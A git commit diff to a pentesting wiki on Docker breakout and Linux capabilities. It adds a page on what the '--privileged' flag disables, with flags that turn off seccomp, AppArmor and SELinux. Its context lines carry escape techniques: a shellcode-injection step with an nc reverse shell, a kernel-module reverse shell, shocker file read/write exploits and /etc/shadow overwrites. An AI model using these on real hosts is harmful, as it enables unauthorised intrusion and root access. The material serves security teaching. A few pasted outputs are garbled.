GitBook: [#2940] No subject
This commit is contained in:
CPol
gitbook-bot
parent
c5b80edc1e
commit
a0401cc09f
|
|
@ -37,6 +37,7 @@
|
|||
* [Seccomp](linux-unix/privilege-escalation/docker-breakout/seccomp.md)
|
||||
* [AppArmor](linux-unix/privilege-escalation/docker-breakout/apparmor.md)
|
||||
* [Namespaces](linux-unix/privilege-escalation/docker-breakout/namespaces.md)
|
||||
* [Docker --privileged](linux-unix/privilege-escalation/docker-breakout/docker-privileged.md)
|
||||
* [electron/CEF/chromium debugger abuse](linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md)
|
||||
* [Escaping from Jails](linux-unix/privilege-escalation/escaping-from-limited-bash.md)
|
||||
* [Cisco - vmanage](linux-unix/privilege-escalation/cisco-vmanage.md)
|
||||
|
|
|
|||
|
|
@ -145,7 +145,7 @@ Capabilities allow **finer control for the capabilities that can be allowed** fo
|
|||
|
||||
### Seccomp in Docker
|
||||
|
||||
This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker:
|
||||
This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
|
|
@ -153,12 +153,22 @@ This is not a technique to breakout from a Docker container but a security featu
|
|||
|
||||
### AppArmor in Docker
|
||||
|
||||
This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker:
|
||||
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.:
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### SELinux in Docker
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system.
|
||||
|
||||
Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### AuthZ & AuthN
|
||||
|
||||
An authorization plugin **approves** or **denies** **requests** to the Docker **daemon** based on both the current **authentication** context and the **command** **context**. The **authentication** **context** contains all **user details** and the **authentication** **method**. The **command context** contains all the **relevant** **request** data.
|
||||
|
|
@ -167,7 +177,19 @@ An authorization plugin **approves** or **denies** **requests** to the Docker **
|
|||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### no-new-privileges
|
||||
## Interesting Docker Flags
|
||||
|
||||
### --privileged flag
|
||||
|
||||
In the following page you can learn **what does the `--privileged` flag imply**:
|
||||
|
||||
{% content-ref url="docker-privileged.md" %}
|
||||
[docker-privileged.md](docker-privileged.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### --security-opt
|
||||
|
||||
#### no-new-privileges
|
||||
|
||||
If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it.
|
||||
|
||||
|
|
@ -177,6 +199,27 @@ Running the container with the **`no-new-privileges`** option enabled will **pre
|
|||
docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
```
|
||||
|
||||
#### Other
|
||||
|
||||
```bash
|
||||
#You can manually add/drop capabilities with
|
||||
--cap-add
|
||||
--cap-drop
|
||||
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt seccomp=unconfined
|
||||
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt apparmor=unconfined
|
||||
|
||||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
|
||||
For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
|
||||
## Other Security Considerations
|
||||
|
||||
### Managing Secrets
|
||||
|
||||
First of all, **do not put them inside your image!**
|
||||
|
|
|
|||
|
|
@ -36,7 +36,7 @@ In case the **docker socket is in an unexpected place** you can still communicat
|
|||
|
||||
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE`**
|
||||
|
||||
You can check currently container capabilities using previously mentioned automatic tools or:
|
||||
You can check currently container capabilities using **previously mentioned automatic tools** or:
|
||||
|
||||
```bash
|
||||
capsh --print
|
||||
|
|
@ -63,7 +63,7 @@ mkdir -p /mnt/hola
|
|||
mount /dev/sda1 /mnt/hola
|
||||
```
|
||||
|
||||
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola `folder.
|
||||
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.
|
||||
|
||||
#### Other escapes without mounting the host filesystem
|
||||
|
||||
|
|
@ -271,7 +271,7 @@ findme
|
|||
|
||||
This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of _any_ process running in the container.
|
||||
|
||||
#### Pid Bashing <a href="pid-bashing" id="pid-bashing"></a>
|
||||
#### Pid Bashing <a href="#pid-bashing" id="pid-bashing"></a>
|
||||
|
||||
This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:Container
|
||||
|
||||
|
|
@ -291,7 +291,7 @@ root@host:~$ cat /proc/${COUNTER}/root/findme
|
|||
findme
|
||||
```
|
||||
|
||||
#### Putting it All Together <a href="putting-it-all-together" id="putting-it-all-together"></a>
|
||||
#### Putting it All Together <a href="#putting-it-all-together" id="putting-it-all-together"></a>
|
||||
|
||||
To complete this attack the brute force technique can be used to guess the pid for the path `/proc/<pid>/root/payload.sh`, with each iteration writing the guessed pid path to the cgroups `release_agent` file, triggering the `release_agent`, and seeing if an output file is created.
|
||||
|
||||
|
|
@ -389,8 +389,6 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
...
|
||||
```
|
||||
|
||||
###
|
||||
|
||||
### Runc exploit (CVE-2019-5736)
|
||||
|
||||
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
|
||||
|
|
|
|||
|
|
@ -0,0 +1,215 @@
|
|||
# Docker --privileged
|
||||
|
||||
## What Affects
|
||||
|
||||
When you run a container as privileged these are the protections you are disabling:
|
||||
|
||||
### Mount /dev
|
||||
|
||||
In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Inside default container" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
ls /dev
|
||||
console fd mqueue ptmx random stderr stdout urandom
|
||||
core full null pts shm stdin tty zero
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Inside Privileged Container" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
ls /dev
|
||||
cachefiles mapper port shm tty24 tty44 tty7
|
||||
console mem psaux stderr tty25 tty45 tty8
|
||||
core mqueue ptmx stdin tty26 tty46 tty9
|
||||
cpu nbd0 pts stdout tty27 tty47 ttyS0cker run --rm --privileged -it alpine sh
|
||||
[...]
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Read-only kernel file systems
|
||||
|
||||
Kernel file systems provide a mechanism for a **process to alter the way the kernel runs.** By default, we **don't want container processes to modify the kernel**, so we mount kernel file systems as read-only within the container.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Inside default container" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
mount | grep '(ro'
|
||||
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
|
||||
cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
|
||||
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
|
||||
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Inside Privileged Container" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
mount | grep '(ro'
|
||||
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Masking over kernel file systems
|
||||
|
||||
The **/proc** file system is namespace-aware, and certain writes can be allowed, so we don't mount it read-only. However, specific directories in the /proc file system need to be **protected from writing**, and in some instances, **from reading**. In these cases, the container engines mount **tmpfs** file systems over potentially dangerous directories, preventing processes inside of the container from using them.
|
||||
|
||||
{% hint style="info" %}
|
||||
**tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever.
|
||||
{% endhint %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Inside default container" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
mount | grep /proc.*tmpfs
|
||||
tmpfs on /proc/acpi type tmpfs (ro,relatime)
|
||||
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
|
||||
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Inside Privileged Container" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
mount | grep /proc.*tmpfs
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Linux capabilities
|
||||
|
||||
Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Inside default container" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
apk add -U libcap; capsh --print
|
||||
[...]
|
||||
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=eip
|
||||
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||||
[...]
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Inside Privileged Container" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
apk add -U libcap; capsh --print
|
||||
[...]
|
||||
Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip
|
||||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
|
||||
[...]
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags.
|
||||
|
||||
### Seccomp
|
||||
|
||||
**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Inside default container" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
grep Seccomp /proc/1/status
|
||||
Seccomp: 2
|
||||
Seccomp_filters: 1
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Inside Privileged Container" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
grep Seccomp /proc/1/status
|
||||
Seccomp: 0
|
||||
Seccomp_filters: 0
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
```bash
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt seccomp=unconfined
|
||||
```
|
||||
|
||||
### AppArmor
|
||||
|
||||
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled. 
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
```bash
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt apparmor=unconfined
|
||||
```
|
||||
|
||||
### SELinux
|
||||
|
||||
When you run with the `--privileged` flag, **SELinux labels are disabled**, and the container runs with the **label that the container engine was executed with**. This label is usually `unconfined` and has **full access to the labels that the container engine does**. In rootless mode, the container runs with `container_runtime_t`. In root mode, it runs with `spc_t`.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
```bash
|
||||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
|
||||
## What Doesn't Affect
|
||||
|
||||
### Namespaces
|
||||
|
||||
Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Inside default privileged container" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
ps -ef
|
||||
PID USER TIME COMMAND
|
||||
1 root 0:00 sh
|
||||
18 root 0:00 ps -ef
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Inside --pid=host Container" %}
|
||||
```bash
|
||||
# docker run --rm --privileged --pid=host -it alpine sh
|
||||
ps -ef
|
||||
PID USER TIME COMMAND
|
||||
1 root 0:03 /sbin/init
|
||||
2 root 0:00 [kthreadd]
|
||||
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
|
||||
[...]
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### User namespace
|
||||
|
||||
Container engines do **NOT use user namespace by default**. However, rootless containers always use it to mount file systems and use more than a single UID. In the rootless case, user namespace can not be disabled; it is required to run rootless containers. User namespaces prevent certain privileges and add considerable security.
|
||||
|
||||
## References
|
||||
|
||||
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
|
|
@ -164,7 +164,7 @@ As we can see above, each Container has its own hostname and domainname.
|
|||
### User namespace
|
||||
|
||||
User namespaces are available from Linux kernel versions > 3.8. With User namespace, **userid and groupid in a namespace is different from host machine’s userid and groupid** for the same user and group. When Docker Containers use User namespace, each **container gets their own userid and groupid**. For example, **root** user **inside** **Container** is **not** root **inside** **host** **machine**. This provides greater security. In case the Container gets compromised and the hacker gets root access inside Container, the hacker still cannot break inside the host machine since the root user inside the Container is not root inside the host machine. Docker introduced support for user namespace in version 1.10.\
|
||||
To use user namespace, Docker daemon needs to be started with `–userns-remap=default`(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`)\
|
||||
To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`)\
|
||||
Following output shows Docker daemon running with user namespace turned on:
|
||||
|
||||
```
|
||||
|
|
|
|||
|
|
@ -16,7 +16,7 @@ Let’s assume we are running a process as a normal user. This means we are non-
|
|||
|
||||
**CapEff**: The _effective_ capability set represents all capabilities the process is using at the moment (this is the actual set of capabilities that the kernel uses for permission checks). For file capabilities the effective set is in fact a single bit indicating whether the capabilities of the permitted set will be moved to the effective set upon running a binary. This makes it possible for binaries that are not capability-aware to make use of file capabilities without issuing special system calls.
|
||||
|
||||
**CapPrm**: (_Permitted_) This is a superset of capabilities that the thread may add to either the thread permitted or thread inheritable sets. The thread can use the capset() system call to manage capabilities: It may drop any capability from any set, but only add capabilities to its thread effective and inherited sets that are in its thread permitted set. Consequently it cannot add any capability to its thread permitted set, unless it has the cap_setpcap capability in its thread effective set.
|
||||
**CapPrm**: (_Permitted_) This is a superset of capabilities that the thread may add to either the thread permitted or thread inheritable sets. The thread can use the capset() system call to manage capabilities: It may drop any capability from any set, but only add capabilities to its thread effective and inherited sets that are in its thread permitted set. Consequently it cannot add any capability to its thread permitted set, unless it has the cap\_setpcap capability in its thread effective set.
|
||||
|
||||
**CapInh**: Using the _inherited_ set all capabilities that are allowed to be inherited from a parent process can be specified. This prevents a process from receiving any capabilities it does not need. This set is preserved across an `execve` and is usually set by a process _receiving_ capabilities rather than by a process that’s handing out capabilities to its children.
|
||||
|
||||
|
|
@ -129,7 +129,7 @@ getcap -r / 2>/dev/null
|
|||
|
||||
### Dropping capabilities with capsh
|
||||
|
||||
If we drop the CAP_NET_RAW capabilities for _ping_, then the ping utility should no longer work.
|
||||
If we drop the CAP\_NET\_RAW capabilities for _ping_, then the ping utility should no longer work.
|
||||
|
||||
```bash
|
||||
capsh --drop=cap_net_raw --print -- -c "tcpdump"
|
||||
|
|
@ -363,9 +363,9 @@ Note that one can assign empty capability sets to a program file, and thus it is
|
|||
2. has no `SUID`/`SGID` bits set
|
||||
3. has empty capabilities set (e.g.: `getcap myelf` returns `myelf =ep`)
|
||||
|
||||
then that binary will run as root.
|
||||
then **that binary will run as root**.
|
||||
|
||||
### CAP_SYS_ADMIN
|
||||
### CAP\_SYS\_ADMIN
|
||||
|
||||
**This means that you can** **mount/umount filesystems.**
|
||||
|
||||
|
|
@ -418,7 +418,7 @@ gid=0(root)
|
|||
groups=0(root)
|
||||
```
|
||||
|
||||
Inside the previous output you can see that the SYS_ADMIN capability is enabled.
|
||||
Inside the previous output you can see that the SYS\_ADMIN capability is enabled.
|
||||
|
||||
* **Mount**
|
||||
|
||||
|
|
@ -455,7 +455,7 @@ chroot /mnt/ adduser john
|
|||
ssh john@172.17.0.1 -p 2222
|
||||
```
|
||||
|
||||
### CAP_SYS_PTRACE
|
||||
### CAP\_SYS\_PTRACE
|
||||
|
||||
**This means that you can escape the container by injecting a shellcode inside some process running inside the host.**
|
||||
|
||||
|
|
@ -574,11 +574,11 @@ List **processes** running in the **host** `ps -eaf`
|
|||
|
||||
1. Get the **architecture** `uname -m`
|
||||
2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
|
||||
3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))
|
||||
3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c](https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c))
|
||||
4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject`
|
||||
5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600`
|
||||
|
||||
### CAP_SYS_MODULE
|
||||
### CAP\_SYS\_MODULE
|
||||
|
||||
**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.**
|
||||
|
||||
|
|
@ -642,7 +642,7 @@ gid=0(root)
|
|||
groups=0(root)
|
||||
```
|
||||
|
||||
Inside the previous output you can see that the **SYS_MODULE** capability is enabled.
|
||||
Inside the previous output you can see that the **SYS\_MODULE** capability is enabled.
|
||||
|
||||
**Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it:
|
||||
|
||||
|
|
@ -697,7 +697,7 @@ sudo apt update
|
|||
sudo apt full-upgrade
|
||||
```
|
||||
|
||||
Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process:
|
||||
 Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process:
|
||||
|
||||
```bash
|
||||
#Shell 1
|
||||
|
|
@ -707,9 +707,9 @@ nc -lvnp 4444
|
|||
insmod reverse-shell.ko #Launch the reverse shell
|
||||
```
|
||||
|
||||
**The code of this technique was copied from the laboratory of "Abusing SYS_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
|
||||
**The code of this technique was copied from the laboratory of "Abusing SYS\_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
|
||||
|
||||
### CAP_DAC_READ_SEARCH
|
||||
### CAP\_DAC\_READ\_SEARCH
|
||||
|
||||
**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.**
|
||||
|
||||
|
|
@ -758,9 +758,9 @@ gid=0(root)
|
|||
groups=0(root)
|
||||
```
|
||||
|
||||
Inside the previous output you can see that the **DAC_READ_SEARCH** capability is enabled. As a result, the container can **debug processes**.
|
||||
Inside the previous output you can see that the **DAC\_READ\_SEARCH** capability is enabled. As a result, the container can **debug processes**.
|
||||
|
||||
You can learn how the following exploiting works in [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP_DAC_READ_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open_by_handle_at(2)**_ and **could allow our process to sensitive files opened by other processes**.
|
||||
You can learn how the following exploiting works in [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP\_DAC\_READ\_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open\_by\_handle\_at(2)**_ and **could allow our process to sensitive files opened by other processes**.
|
||||
|
||||
The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.**
|
||||
|
||||
|
|
@ -916,9 +916,9 @@ I exploit needs to find a pointer to something mounted on the host. The original
|
|||
|
||||
 (2).png>)
|
||||
|
||||
**The code of this technique was copied from the laboratory of "Abusing DAC_READ_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
|
||||
**The code of this technique was copied from the laboratory of "Abusing DAC\_READ\_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
|
||||
|
||||
### CAP_DAC_OVERRIDE
|
||||
### CAP\_DAC\_OVERRIDE
|
||||
|
||||
**This mean that you can bypass write permission checks on any file, so you can write any file.**
|
||||
|
||||
|
|
@ -945,7 +945,7 @@ file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
|
|||
file.close()
|
||||
```
|
||||
|
||||
#### Example with environment + CAP_DAC_READ_SEARCH (Docker breakout)
|
||||
#### Example with environment + CAP\_DAC\_READ\_SEARCH (Docker breakout)
|
||||
|
||||
You can check the enabled capabilities inside the docker container using:
|
||||
|
||||
|
|
@ -962,7 +962,7 @@ gid=0(root)
|
|||
groups=0(root)
|
||||
```
|
||||
|
||||
First of all read the previous section that [**abuses DAC_READ_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap_dac_read_search) of the host and **compile** the exploit.\
|
||||
First of all read the previous section that [**abuses DAC\_READ\_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap\_dac\_read\_search) of the host and **compile** the exploit.\
|
||||
Then, **compile the following version of the shocker exploit** that ill allow you to **write arbitrary files** inside the hosts filesystem:
|
||||
|
||||
```c
|
||||
|
|
@ -1106,9 +1106,9 @@ int main(int argc, char * argv[]) {
|
|||
|
||||
In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**.
|
||||
|
||||
**The code of this technique was copied from the laboratory of "Abusing DAC_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)
|
||||
**The code of this technique was copied from the laboratory of "Abusing DAC\_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)
|
||||
|
||||
### CAP_CHOWN
|
||||
### CAP\_CHOWN
|
||||
|
||||
**This means that it's possible to change the ownership of any file.**
|
||||
|
||||
|
|
@ -1126,7 +1126,7 @@ Or with the **`ruby`** binary having this capability:
|
|||
ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
|
||||
```
|
||||
|
||||
### CAP_FOWNER
|
||||
### CAP\_FOWNER
|
||||
|
||||
**This means that it's possible to change the permission of any file.**
|
||||
|
||||
|
|
@ -1138,7 +1138,7 @@ If python has this capability you can modify the permissions of the shadow file,
|
|||
python -c 'import os;os.chmod("/etc/shadow",0666)
|
||||
```
|
||||
|
||||
### CAP_SETUID
|
||||
### CAP\_SETUID
|
||||
|
||||
**This means that it's possible to set the effective user id of the created process.**
|
||||
|
||||
|
|
@ -1163,7 +1163,7 @@ os.setuid(0)
|
|||
os.system("/bin/bash")
|
||||
```
|
||||
|
||||
### CAP_SETGID
|
||||
### CAP\_SETGID
|
||||
|
||||
**This means that it's possible to set the effective group id of the created process.**
|
||||
|
||||
|
|
@ -1198,7 +1198,7 @@ cat /etc/shadow
|
|||
|
||||
If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](./#writable-docker-socket).
|
||||
|
||||
### CAP_SETFCAP
|
||||
### CAP\_SETFCAP
|
||||
|
||||
**This means that it's possible to set capabilities on files and processes**
|
||||
|
||||
|
|
@ -1236,12 +1236,16 @@ python setcapability.py /usr/bin/python2.7
|
|||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
Note that if you set a new capability to the binary with CAP_SETFCAP, you will lose this cap.
|
||||
Note that if you set a new capability to the binary with CAP\_SETFCAP, you will lose this cap.
|
||||
{% endhint %}
|
||||
|
||||
Once you have [SETUID capability](linux-capabilities.md#cap_setuid) you can go to it's section to see how to escalate privileges.
|
||||
Once you have [SETUID capability](linux-capabilities.md#cap\_setuid) you can go to it's section to see how to escalate privileges.
|
||||
|
||||
### CAP_KILL
|
||||
#### Example with environment (Docker breakout)
|
||||
|
||||
|
||||
|
||||
### CAP\_KILL
|
||||
|
||||
**This means that it's possible to kill any process.** You cannot escalate privileges directly with this capability.
|
||||
|
||||
|
|
@ -1257,7 +1261,7 @@ pgid = os.getpgid(341)
|
|||
os.killpg(pgid, signal.SIGKILL)
|
||||
```
|
||||
|
||||
### CAP_NET_BIND_SERVICE
|
||||
### CAP\_NET\_BIND\_SERVICE
|
||||
|
||||
**This means that it's possible to listen in any port (even in privileged ones).** You cannot escalate privileges directly with this capability.
|
||||
|
||||
|
|
@ -1289,7 +1293,7 @@ s.connect(('10.10.10.10',500))
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### CAP_NET_RAW
|
||||
### CAP\_NET\_RAW
|
||||
|
||||
**This means that it's possible to sniff traffic.** You cannot escalate privileges directly with this capability.
|
||||
|
||||
|
|
@ -1306,7 +1310,7 @@ Note that if the **environment** is giving this capability you could also use **
|
|||
|
||||
#### Example with binary 2
|
||||
|
||||
The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET_BIND + NET_RAW_" from [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
|
||||
The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET\_BIND + NET\_RAW_" from [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
|
||||
|
||||
```python
|
||||
import socket
|
||||
|
|
@ -1352,7 +1356,7 @@ while True:
|
|||
count=count+1
|
||||
```
|
||||
|
||||
### CAP_NET_ADMIN + CAP_NET_RAW
|
||||
### CAP\_NET\_ADMIN + CAP\_NET\_RAW
|
||||
|
||||
**This means that it's possible modify firewall rules.** You cannot escalate privileges directly with this capability.
|
||||
|
||||
|
|
@ -1372,7 +1376,7 @@ import iptc
|
|||
iptc.easy.flush_table('filter')
|
||||
```
|
||||
|
||||
### CAP_LINUX_IMMUTABLE
|
||||
### CAP\_LINUX\_IMMUTABLE
|
||||
|
||||
**This means that it's possible modify inode attributes.** You cannot escalate privileges directly with this capability.
|
||||
|
||||
|
|
